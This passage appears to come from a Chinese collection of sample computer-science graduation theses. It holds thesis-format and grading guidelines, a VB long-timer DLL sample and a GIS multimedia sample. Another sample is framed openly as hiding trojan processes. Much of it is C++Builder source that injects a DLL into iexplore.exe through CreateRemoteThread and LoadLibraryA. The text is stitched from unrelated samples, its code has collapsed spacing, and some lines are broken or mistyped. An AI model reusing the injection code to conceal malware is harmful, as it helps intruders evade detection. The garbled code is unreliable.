(2)數(shù)據(jù)庫設(shè)計(jì)A、應(yīng)按下列次序闡述各個(gè)元素:實(shí)體、實(shí)體的屬性、實(shí)體間聯(lián)系、E-R圖、轉(zhuǎn)換規(guī)則、關(guān)系模式。B、在介紹實(shí)體的屬性時(shí),不應(yīng)包括聯(lián)系屬性,聯(lián)系屬性直至關(guān)系模式中才出現(xiàn)。C、數(shù)據(jù)流程圖中的每個(gè)數(shù)據(jù)存儲(chǔ)可隱含于E-R圖中的多個(gè)實(shí)體。D、E-R圖中的實(shí)體要與數(shù)據(jù)流程圖中的數(shù)據(jù)存儲(chǔ)相對(duì)應(yīng)。每個(gè)實(shí)體要指出實(shí)體的標(biāo)識(shí)碼(主碼)。對(duì)每個(gè)實(shí)體或聯(lián)系應(yīng)列出其應(yīng)有的屬性(用列舉的方法)。E、E-R圖中至少要有一個(gè)多對(duì)多的聯(lián)系。F、必須嚴(yán)格按照轉(zhuǎn)換規(guī)則從E-R圖產(chǎn)生數(shù)據(jù)關(guān)系模式集,需要時(shí)作必要的優(yōu)化,并說明理由。G、對(duì)于一對(duì)一的聯(lián)系,只應(yīng)把任一個(gè)實(shí)體的主碼放在另一個(gè)實(shí)體中作為外碼。H、一對(duì)多聯(lián)系也可以產(chǎn)生新的關(guān)系模式,如要這樣做,必須說明理由。I、多對(duì)多聯(lián)系,或三元聯(lián)系必須產(chǎn)生新的關(guān)系模式。J、關(guān)系模式的個(gè)數(shù)和名字要與E-R圖中的實(shí)體和聯(lián)系相一致。K.、每個(gè)關(guān)系模式中要用下橫線標(biāo)出主碼,后隨的符號(hào)“#”標(biāo)出外碼。L、若有代碼對(duì)照表可在最后列出,需另加說明。
(3)計(jì)算機(jī)系統(tǒng)配置方案的選擇和設(shè)計(jì)
給出硬件配置,系統(tǒng)軟件配置,網(wǎng)絡(luò)通信系統(tǒng)配置(可選)等內(nèi)容。
(4)系統(tǒng)總體安全性、可靠性方案與措施。
第五章系統(tǒng)詳細(xì)設(shè)計(jì)
(1)代碼設(shè)計(jì)基本數(shù)據(jù)項(xiàng)的代碼格式。
(2)人機(jī)界面設(shè)計(jì)給出人機(jī)界面視圖(輸入輸出接口,屏幕格式設(shè)計(jì)等)
(3)模塊處理過程根據(jù)軟件環(huán)境做不同處理。可采用腳本、程序流程圖、結(jié)構(gòu)化的PDL語言等。
第六章實(shí)施概況
(1)實(shí)施環(huán)境和工具的比較選擇
(2)編程環(huán)境、工具、實(shí)現(xiàn)與數(shù)據(jù)準(zhǔn)備概況
(3)系統(tǒng)測(cè)試概況主要包括測(cè)試計(jì)劃、測(cè)試用例、測(cè)試記錄。
(4)系統(tǒng)轉(zhuǎn)換方案及實(shí)現(xiàn)概況
(5)系統(tǒng)運(yùn)行與維護(hù)概況
六、結(jié)束語
(1)系統(tǒng)特色、局限與展望
(2)實(shí)施中遇到的挫折、創(chuàng)新、體會(huì)與致謝
七、參考文獻(xiàn)列出畢業(yè)論文設(shè)計(jì)中主要參考書籍
序號(hào)、書名或文章名、作者名、出版社或雜志名、出版日期或雜志期號(hào)。
八、附錄
(1)列出部分有一定代表性的程序代碼段
(2)操作說明書
九、論文評(píng)分標(biāo)準(zhǔn)
1、A等
系統(tǒng)正確無誤,系統(tǒng)功能完善,設(shè)計(jì)步驟完整正確,實(shí)用性強(qiáng),有一定的創(chuàng)新性,論文結(jié)構(gòu)嚴(yán)謹(jǐn),表述流暢。
2、B等
系統(tǒng)基本正確,系統(tǒng)功能基本完善,設(shè)計(jì)步驟基本完整正確,有一定的實(shí)用性,論文結(jié)構(gòu)良好,表述基本流暢。
3、C等
系統(tǒng)有少量錯(cuò)誤,系統(tǒng)功能不夠完善,設(shè)計(jì)步驟欠完整,基本上沒有實(shí)用性,論文結(jié)構(gòu)一般,表述基本清楚。
4、不及格
計(jì)算機(jī)畢業(yè)論文設(shè)計(jì)范文4
摘要:本文介紹在vb程序中用timer控件創(chuàng)建一個(gè)超長(zhǎng)時(shí)間的計(jì)時(shí)器對(duì)象,將其編譯成activexdll部件,利用代碼的可重用性,在其它應(yīng)用程序中調(diào)用。
關(guān)鍵詞:vb計(jì)時(shí)器對(duì)象
vb系統(tǒng)中提供了固有計(jì)時(shí)器timer控件,通過給計(jì)時(shí)器控件的interval屬性設(shè)置不同的數(shù)值,就可以控制計(jì)時(shí)器運(yùn)行的時(shí)間間隔,但該屬性是一個(gè)雙字節(jié)的整型變量,最大值只能設(shè)置為65535,即只有65535毫秒,約一分鐘多一點(diǎn),在需要長(zhǎng)時(shí)間計(jì)時(shí)時(shí),該控件就無能為力了。本文給出用timer控件創(chuàng)建一個(gè)超長(zhǎng)時(shí)間的計(jì)時(shí)器對(duì)象,并將其編譯成activexdll部件,供其它應(yīng)用程序調(diào)用,可實(shí)現(xiàn)最大限度地利用代碼的可重用性。下面給出這個(gè)超長(zhǎng)計(jì)時(shí)器對(duì)象的編程設(shè)計(jì)過程,供讀者參考選用。
1.編寫程序
啟動(dòng)vb,新建一個(gè)activexdll工程,將工程命名為newtimer,將類模塊名class1改名為longtimer。在工程中添加一個(gè)窗體form1,在窗體上加入一個(gè)timer計(jì)時(shí)器控件timer1。打開longtimer類模塊,加入如下程序代碼:
optionexplicit
publiceventtick()''''聲明事件
privatenzasinteger
privatecsasinteger
privatem_formasform1
privatewitheventsm_timerastimer''''聲明對(duì)象類變量
''''返回enable屬性值
publicpropertygetenabled()asboolean
enabled=m_timer.enabled
endproperty
''''設(shè)置enable屬性值
publicpropertyletenabled(byvalvnewvalueasboolean)
m_timer.enabled=vnewvalue
endproperty
''''返回interval屬性值
publicpropertygetinterval()aslong
interval=m_timer.interval
endproperty
''''設(shè)置interval屬性值
publicpropertyletinterval(byvalvnewvalueaslong)
cs=0
nz=vnewvalue\65536+1
m_timer.interval=vnewvalue\nz
endproperty
''''類初始化事件
privatesubclass_initialize()
setm_form=newform1
loadm_form
setm_timer=m_form.timer1
endsub
''''類終止事件
privatesubclass_terminate()
unloadm_form
setm_timer=nothing
endsub
''''產(chǎn)生tick事件
privatesubm_timer_timer()
cs=cs+1
ifcs>=nzthen
raiseeventtick
cs=0
endif
endsub
窗體form1只用來作計(jì)時(shí)器timer1的載體,不用于顯示。
2.測(cè)試newtimer.dll
對(duì)activexdll部件進(jìn)行測(cè)試,與標(biāo)準(zhǔn)的exe程序一樣,可分為單步運(yùn)行或全運(yùn)行。在寫完所有程序代碼后,建議用戶先用ctrl+f5進(jìn)行全編譯執(zhí)行,發(fā)現(xiàn)檢查newtimer程序的語法錯(cuò)誤。也可建立一個(gè)測(cè)試工程與newtimer鏈接進(jìn)行測(cè)試,針對(duì)由newtimer類模塊提供的每個(gè)屬性和事件,添加測(cè)試代碼來測(cè)試它們的屬性和方法。按f8,進(jìn)入單步運(yùn)行狀態(tài),逐個(gè)語句察看對(duì)newtimer類模塊的調(diào)用情況。
3.編譯newtimer.dll
完成測(cè)試,排除所有錯(cuò)誤后,從“文件(f)”菜單中選擇“生成newtimer.dll(k)”命令,編譯生成newtimer.dll文件。編譯成功后newtimer.dll文件將自動(dòng)注冊(cè)到windows注冊(cè)表中,
4.引用newtimer.dll
引用activexdll部件同引用其他對(duì)象一樣,從“工程(p)”菜單中選擇“引用(n)”命令,打開引用窗口,從引用列表中選中newtimer對(duì)象。如果是第一次引用newtimer,則在引用窗體上單擊“游覽(b)”命令按鈕,將newtimer.dll文件添加到可引用列表框中方可使用。
5.調(diào)用newtimer.dll
在應(yīng)用程序中加入下述程序代碼,實(shí)現(xiàn)參newtimer.dll的調(diào)用:
optionexplicit
dimwitheventslongtimer1aslongtimer
privatesublongtimer1_tick()
print"時(shí)間到,此處添加處理程序"
endsub
privatesubcommand1_click()
longtimer1.interval=12000‘兩分鐘
longtimer1.enabled=true
endsub
privatesubform_load()
setlongtimer1=newlongtimer
endsub
參考文獻(xiàn)
計(jì)算機(jī)畢業(yè)論文設(shè)計(jì)范文5
摘要進(jìn)程的隱藏一直是木馬程序設(shè)計(jì)者不斷探求的重要技術(shù),本文采用遠(yuǎn)程線程技術(shù),通過動(dòng)態(tài)鏈接庫方法,較好地解決了這一問題,通過遠(yuǎn)程線程將木馬作為線程隱藏在其他進(jìn)程中,從而達(dá)到隱藏的目的。
關(guān)鍵字進(jìn)程線程木馬動(dòng)態(tài)鏈接庫
木馬程序(也稱后門程序)是能被控制的運(yùn)行在遠(yuǎn)程主機(jī)上的程序,由于木馬程序是運(yùn)行在遠(yuǎn)程主機(jī)上,所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點(diǎn)。
本文分析了WindowsNT/2000系統(tǒng)下進(jìn)程隱藏的基本技術(shù)和方法,并著重討論運(yùn)用線程嫁接技術(shù)如何實(shí)現(xiàn)WindowsNT/2000系統(tǒng)中進(jìn)程的隱藏。
1基本原理
在WIN95/98中,只需要將進(jìn)程注冊(cè)為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動(dòng)文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務(wù)管理器,WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進(jìn)程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運(yùn)行時(shí)都有一個(gè)共同點(diǎn),會(huì)生成一個(gè)獨(dú)立的進(jìn)程,尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測(cè)軟件的不斷發(fā)展,關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個(gè)木馬在運(yùn)行時(shí)被檢測(cè)軟件同時(shí)查出端口和進(jìn)程,我們基本上認(rèn)為這個(gè)木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進(jìn)程對(duì)于系統(tǒng)管理員來說都是可見的,要想做到木馬的進(jìn)程隱藏,有兩個(gè)辦法,第一是讓系統(tǒng)管理員看不見你的進(jìn)程;第二是不使用進(jìn)程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中,遠(yuǎn)程進(jìn)程則是合法的用戶程序,這樣用戶管理者看到的只是合法進(jìn)程,而無法發(fā)現(xiàn)木馬線程的存在,從而達(dá)到隱藏的目的。
2實(shí)現(xiàn)方法
為了弄清實(shí)現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動(dòng)態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因?yàn)樗械腁PI函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL文件沒有程序邏輯,是由多個(gè)功能函數(shù)構(gòu)成,它并不能獨(dú)立運(yùn)行,一般都是由進(jìn)程加載并調(diào)用的。因?yàn)镈LL文件不能獨(dú)立運(yùn)行,所以在進(jìn)程列表中并不會(huì)出現(xiàn)DLL,假設(shè)我們編寫了一個(gè)木馬DLL,并且通過別的進(jìn)程來運(yùn)行它,那么無論是入侵檢測(cè)軟件還是進(jìn)程列表中,都只會(huì)出現(xiàn)那個(gè)進(jìn)程而并不會(huì)出現(xiàn)木馬DLL,如果那個(gè)進(jìn)程是可信進(jìn)程,(例如瀏覽器程序IEXPLORE.EXE,沒人會(huì)懷疑它是木馬吧?)那么我們編寫的DLL作為那個(gè)進(jìn)程的一部分,也將成為被信賴的一員,也就達(dá)到了隱藏的目的。
運(yùn)行DLL方法有多種,但其中最隱蔽的方法是采用動(dòng)態(tài)嵌入技術(shù),動(dòng)態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運(yùn)行的進(jìn)程中的技術(shù)。理論上來說,在Windows中的每個(gè)進(jìn)程都有自己的私有內(nèi)存空間,別的進(jìn)程是不允許對(duì)這個(gè)私有空間進(jìn)行操作的,但是實(shí)際上,我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動(dòng)態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠(yuǎn)程線程等,這里介紹一下遠(yuǎn)程線程技術(shù),它只要有基本的進(jìn)線程和動(dòng)態(tài)鏈接庫的知識(shí)就可以很輕松地完成動(dòng)態(tài)嵌入。
遠(yuǎn)程線程技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動(dòng)時(shí)被同時(shí)自動(dòng)建立的那個(gè)線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程)的地址空間,所以,實(shí)際上,我們通過一個(gè)遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。
3實(shí)施步驟
1)用Process32Next()函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用
OpenProcess()函數(shù)打開宿主進(jìn)程。
2)用VirtualAllocEx()函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的
內(nèi)存。
3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。
4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。
5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實(shí)地址(在kernel32.dll中)。
6)用CreateRemoteThread()函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程。
7)它調(diào)用正確的LoadlibraryA()函數(shù)。
8)為它傳遞步驟二中分配的內(nèi)存地址。
4具體實(shí)例
下面是在C++Builder4.0環(huán)境下編寫的運(yùn)用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//該頭文件包涵了進(jìn)程操作的API函數(shù)
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隱藏的DLL文件名
HANDLEhProcessSnap=NULL;//進(jìn)程快照句柄
HANDLEhRemoteProcess;//遠(yuǎn)程進(jìn)程句柄
LPVOIDpszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打開進(jìn)程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失敗返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//獲取第一個(gè)進(jìn)程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主進(jìn)程,以IEXPLORE.EXE為例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//獲取下一個(gè)進(jìn)程
}
else
{
MessageBox(NULL,"取第一個(gè)進(jìn)程失敗","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打開遠(yuǎn)程進(jìn)程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假設(shè)hide.dll是待隱藏的進(jìn)程
intcb=(1+pszLibFileName.Length())*sizeof(char);//計(jì)算dll文件名長(zhǎng)度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申請(qǐng)存放文件名的空間
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名寫入申請(qǐng)的空間
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//獲取動(dòng)態(tài)鏈接庫函數(shù)地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//創(chuàng)建遠(yuǎn)程線
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//關(guān)閉遠(yuǎn)程線程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//關(guān)閉進(jìn)程快照
}
該程序編譯后命名為RmtDll.exe,運(yùn)行時(shí)點(diǎn)擊界面上的按鈕即可。
至此,遠(yuǎn)程嵌入順利完成,為了試驗(yàn)我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運(yùn)行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測(cè)試:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//獲取當(dāng)前進(jìn)程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
當(dāng)使用RmtDll.exe程序?qū)⑦@個(gè)hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208),該測(cè)試DLL彈出了1208字樣的確認(rèn)框,同時(shí)使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
這證明hide.dll已經(jīng)在IEXPLORE.EXE進(jìn)程內(nèi)正確地運(yùn)行了。上面程序的頭文件由編譯器自動(dòng)生成,未作改動(dòng),故略之。
5結(jié)束語
進(jìn)程隱藏技術(shù)和方法有很多,而且這一技術(shù)發(fā)展也相當(dāng)快,本文僅從一個(gè)側(cè)面加以討論,希望通過這一探討讓我們對(duì)進(jìn)程隱藏技術(shù)有一個(gè)更清楚的認(rèn)識(shí),同時(shí)也為我們防范他人利用進(jìn)程隱藏手段非法入侵提供參考,本文拋磚引玉,不當(dāng)之處誠懇批評(píng)指正。
參考文獻(xiàn)
計(jì)算機(jī)畢業(yè)論文設(shè)計(jì)范文6
摘要將多媒體技術(shù)應(yīng)用于地理信息系統(tǒng)中的關(guān)鍵問題是:如何有效地管理多媒體數(shù)據(jù)和空間數(shù)據(jù);其次,在區(qū)域分析過程中,怎樣實(shí)現(xiàn)多媒體播放功能.指出用擴(kuò)充的關(guān)系數(shù)據(jù)模型作為多媒體數(shù)據(jù)模型較適宜;多媒體功能的實(shí)現(xiàn)則取決于多媒體數(shù)據(jù)的格式是否為RIFF格式以及對(duì)多媒體數(shù)據(jù)的應(yīng)用要求.最后展示了多媒體技術(shù)在地理信息系統(tǒng)中的應(yīng)用前景.
關(guān)鍵詞多媒體技術(shù),地理信息系統(tǒng),空間數(shù)據(jù),屬性數(shù)據(jù),區(qū)域分析,數(shù)據(jù)模型.
現(xiàn)今由于多媒體技術(shù)的迅速崛起和高速發(fā)展,越來越多的應(yīng)用軟件都大量使用了多媒體技術(shù).如果將多媒體技術(shù)應(yīng)用于地理信息系統(tǒng)(geographicinformationsystem,簡(jiǎn)稱GIS)軟件中,勢(shì)必大大增強(qiáng)GIS信息的表現(xiàn)能力,擴(kuò)大GIS的應(yīng)用領(lǐng)域.那么怎樣將多媒體技術(shù)應(yīng)用于GIS軟件中呢我們認(rèn)為應(yīng)從兩方面來設(shè)計(jì):其一是怎樣將多媒體數(shù)據(jù)溶于GIS數(shù)據(jù)庫中,并保證提供GIS軟件的雙向檢索及各種分析功能;其二是在應(yīng)用過程中,怎樣實(shí)現(xiàn)多媒體的播放功能.以下就這兩個(gè)內(nèi)容及其應(yīng)用前景談?wù)勎覀兊目捶?
1多媒體數(shù)據(jù)的有效管理
通常,應(yīng)用軟件中的多媒體數(shù)據(jù)有兩種生成方式:一種是媒體播放之前,將其數(shù)字化到數(shù)據(jù)庫當(dāng)中,播放時(shí)從數(shù)據(jù)庫中取數(shù)據(jù);另一種是播放時(shí),邊生成邊播放.而GIS軟件中的數(shù)據(jù)庫又分為空間數(shù)據(jù)庫和屬性數(shù)據(jù)庫,即我們可根據(jù)媒體數(shù)據(jù)的特性或應(yīng)用軟件的要求將多媒體數(shù)據(jù)分別溶于空間數(shù)據(jù)庫和屬性數(shù)據(jù)庫中.
1.1GIS數(shù)據(jù)庫中多媒體數(shù)據(jù)的管理
1.1.1GIS空間數(shù)據(jù)庫中多媒體數(shù)據(jù)的管理目前,多數(shù)GIS應(yīng)用軟件所能描述的空間目標(biāo)都是靜態(tài)的,實(shí)際上,很多GIS所要表達(dá)和研究的空間目標(biāo)都不會(huì)是一成不變的,因此,GIS研究者已廣泛關(guān)注能對(duì)時(shí)空過程和時(shí)空目標(biāo)進(jìn)行描述和分析的時(shí)態(tài)GIS(temporalGIS).時(shí)態(tài)GIS的組織核心是時(shí)空數(shù)據(jù)庫,即設(shè)計(jì)一個(gè)合理的時(shí)空數(shù)據(jù)模型是建立時(shí)態(tài)GIS的關(guān)鍵所在.雖然目前還沒有較成熟的能支持時(shí)態(tài)GIS產(chǎn)品的時(shí)空數(shù)據(jù)模型,一但時(shí)空數(shù)據(jù)模型的研究有所突破,不僅能解決時(shí)態(tài)GIS的應(yīng)用問題,還將解決空間數(shù)據(jù)庫中動(dòng)畫數(shù)據(jù)的管理問題,即可通過使用動(dòng)畫技術(shù)來實(shí)現(xiàn)在屏幕上動(dòng)態(tài)播放時(shí)空過程.如動(dòng)態(tài)顯示衛(wèi)星云圖的變化情況、地殼變動(dòng)情況、森林沙化和城市化情況以及海岸或河灘的侵蝕或淤積變化情況等.
有關(guān)時(shí)空數(shù)據(jù)模型,張祖勛[1]提出使用分級(jí)索引方法來對(duì)基本修正法進(jìn)行改進(jìn).這種方法就是不存貯研究區(qū)域中每個(gè)狀態(tài)的全部信息,而只存貯某個(gè)時(shí)間的數(shù)據(jù)狀態(tài)(稱為基態(tài))以及相對(duì)于基態(tài)或鄰近狀態(tài)的變化量.在此基礎(chǔ)上,建立分級(jí)索引,以便能快速找到所需的時(shí)空過程的數(shù)據(jù).
要使用這種建索引的基本修正法,需要考慮兩個(gè)問題,一個(gè)是如何建立索引;另一個(gè)是如何設(shè)計(jì)用來描述兩個(gè)狀態(tài)變化量的差文件.
關(guān)于建索引的問題,筆者認(rèn)為:基態(tài),亦a,b,c,d分別表示時(shí)態(tài)GIS的4個(gè)時(shí)期;T.時(shí)間軸;t0,t1,…,tn分別表示時(shí)態(tài)在GIS某個(gè)時(shí)期的n+1個(gè)時(shí)態(tài),其中tn為基態(tài),即“現(xiàn)在”時(shí)態(tài)一次數(shù)據(jù)狀態(tài)——“現(xiàn)在”時(shí)態(tài)總是變化的,每產(chǎn)生一個(gè)新的現(xiàn)在時(shí)態(tài),就應(yīng)生成一個(gè)現(xiàn)在時(shí)態(tài)與前一次時(shí)態(tài)的差文件,同時(shí)根據(jù)現(xiàn)在時(shí)態(tài)所處的時(shí)間位置來決定是否產(chǎn)生新的索引差文件.以四叉樹為例,如圖1所示,當(dāng)n為2i(i=2,3,…)的整數(shù)倍時(shí),就需產(chǎn)生tn-2i~tn的索引差文件.相應(yīng)地為了減少索引差文件所占的存貯空間,而又不影響對(duì)任一時(shí)態(tài)的檢索速度,可將tn-2i+1~tn-2i的索引差文件刪掉,所刪的索引名文件個(gè)數(shù)正好比新建的索引差文件個(gè)數(shù)少一個(gè).
關(guān)于差文件,筆者認(rèn)為在設(shè)計(jì)中應(yīng)考慮如下幾個(gè)因素.(1)由于差文件是通過對(duì)兩個(gè)時(shí)態(tài)的目標(biāo)信息進(jìn)行異或而產(chǎn)生的,這意味著差文件包含有兩類目標(biāo)信息:一類是前一時(shí)態(tài)有而后一時(shí)態(tài)無的目標(biāo)信息;另一類是前一時(shí)態(tài)無而后一時(shí)態(tài)有的目標(biāo)信息.為了能根據(jù)差文件快速、連續(xù)地由一個(gè)狀態(tài)到過去另一狀態(tài)或最近另一狀態(tài)進(jìn)行檢索,應(yīng)在差文件中將這兩類目標(biāo)信息予以標(biāo)識(shí)區(qū)分.(2)兩個(gè)狀態(tài)之間目標(biāo)變化應(yīng)是有對(duì)應(yīng)關(guān)系的,即01(目標(biāo)從無到有);10(目標(biāo)從有到無);1N(目標(biāo)從一個(gè)變成多個(gè));N1(目標(biāo)從多個(gè)變成一個(gè)),以及目標(biāo)空間信息無變化,屬性信息有變化;目標(biāo)局部空間信息有變化等.為了能進(jìn)行快速檢索,在差文件中應(yīng)將兩類各目標(biāo)之間的對(duì)應(yīng)關(guān)系予以標(biāo)明,當(dāng)然,這會(huì)增加差文件生成過程的復(fù)雜性.(3)和所有地圖數(shù)據(jù)庫模型類似,差文件也由空間信息、屬性信息和關(guān)系信息組成,差文件中應(yīng)將每個(gè)目標(biāo)這3種信息之間的關(guān)系予以標(biāo)明.
1.1.2GIS屬性數(shù)據(jù)庫中多媒體數(shù)據(jù)的管理有些G
IS的應(yīng)用中,認(rèn)為多媒體數(shù)據(jù)是一種特殊的專題屬性數(shù)據(jù).怎樣選擇多媒體數(shù)據(jù)的數(shù)據(jù)模型,使得既能遵循其自身特點(diǎn),又能有效地建立起它與空間數(shù)據(jù)的聯(lián)系,是多媒體技術(shù)在GIS應(yīng)用中的關(guān)鍵所在.
目前,多數(shù)GIS屬性數(shù)據(jù)庫使用的是關(guān)系模型.為能將關(guān)系模型應(yīng)用于多媒體數(shù)據(jù)管理系統(tǒng)中,就必須對(duì)現(xiàn)有的關(guān)系模型進(jìn)行擴(kuò)充,使它不但能處理格式化數(shù)據(jù),也能處理非格式化數(shù)據(jù).楊學(xué)良[2]就這個(gè)問題提出了3種技術(shù)策略:將多媒體數(shù)據(jù)文件名作為關(guān)系中元組某列(或?qū)傩?;將每個(gè)元組作為一個(gè)完整文件保存;元組中存貯格式化數(shù)據(jù)以及非格式化數(shù)據(jù)的引用項(xiàng),而非格式化數(shù)據(jù)單獨(dú)存貯.
對(duì)比這3種技術(shù)策略,第一種技術(shù)策略方法簡(jiǎn)單、容易實(shí)現(xiàn),適宜于對(duì)多媒體數(shù)據(jù)進(jìn)行播放.第二、三種技術(shù)策略雖然能夠?qū)崿F(xiàn)并發(fā)控制和恢復(fù),以及實(shí)現(xiàn)對(duì)多媒體數(shù)據(jù)進(jìn)行編輯和拮取的應(yīng)用,但由于此兩種技術(shù)策略將每個(gè)元組所對(duì)應(yīng)的空間目標(biāo)的專業(yè)屬性和多媒體屬性混在一起,這既增大了應(yīng)用程序設(shè)計(jì)的復(fù)雜性,又不利于那些只需使用空間目標(biāo)的專業(yè)屬性的一些應(yīng)用的實(shí)現(xiàn).為此,我們認(rèn)為,在第一種技術(shù)策略的基礎(chǔ)上,增加一個(gè)或多個(gè)屬性項(xiàng),用于存放多媒體數(shù)據(jù)的文件信息和數(shù)據(jù)流信息,當(dāng)我們需要對(duì)多媒體數(shù)據(jù)文件進(jìn)行特殊應(yīng)用時(shí),可根據(jù)文件信息和數(shù)據(jù)流信息對(duì)多媒體數(shù)據(jù)文件進(jìn)行操作.
1.2GIS區(qū)域分析中多媒體數(shù)據(jù)的生成
多媒體數(shù)據(jù)生成的另一種方式是在GIS應(yīng)用中,邊統(tǒng)計(jì)、分析運(yùn)算,邊生成結(jié)果數(shù)據(jù)——多媒體數(shù)據(jù).
1.2.1空間分析中多媒體數(shù)據(jù)的生成空間分析是一組分析結(jié)果依賴于所分析對(duì)象的位置信息技術(shù)[3],因此,空間分析要求獲得目標(biāo)的空間位置及其屬性描述兩方面信息.空間分析主要有:地形分析、疊加分析、緩沖區(qū)分析和網(wǎng)絡(luò)分析等.
為了能更清楚地表示上述一些空間分析的結(jié)果,我們可用虛擬現(xiàn)實(shí)技術(shù)來實(shí)現(xiàn).所謂虛擬現(xiàn)實(shí)[4]是一種由計(jì)算機(jī)生成的高級(jí)人機(jī)交互系統(tǒng),即構(gòu)成一個(gè)以視覺感受為主,也包括聽覺、觸覺、嗅覺的可感知環(huán)境,使用者通過專門的設(shè)備可在這個(gè)環(huán)境中實(shí)現(xiàn)觀察、觸摸、操作、檢測(cè)等試驗(yàn),有身臨其境之感.比如,可用虛擬技術(shù)來觀察地形分析或網(wǎng)絡(luò)分析得到的空間效果,使用者可用交互操作的方式來控制自己與觀察對(duì)象的角度、距離以及光照等,使觀察對(duì)象隨使用者的操作而動(dòng)態(tài)旋轉(zhuǎn).此時(shí)以動(dòng)畫形式顯示的媒體數(shù)據(jù)隨使用者的操作產(chǎn)生并顯示.
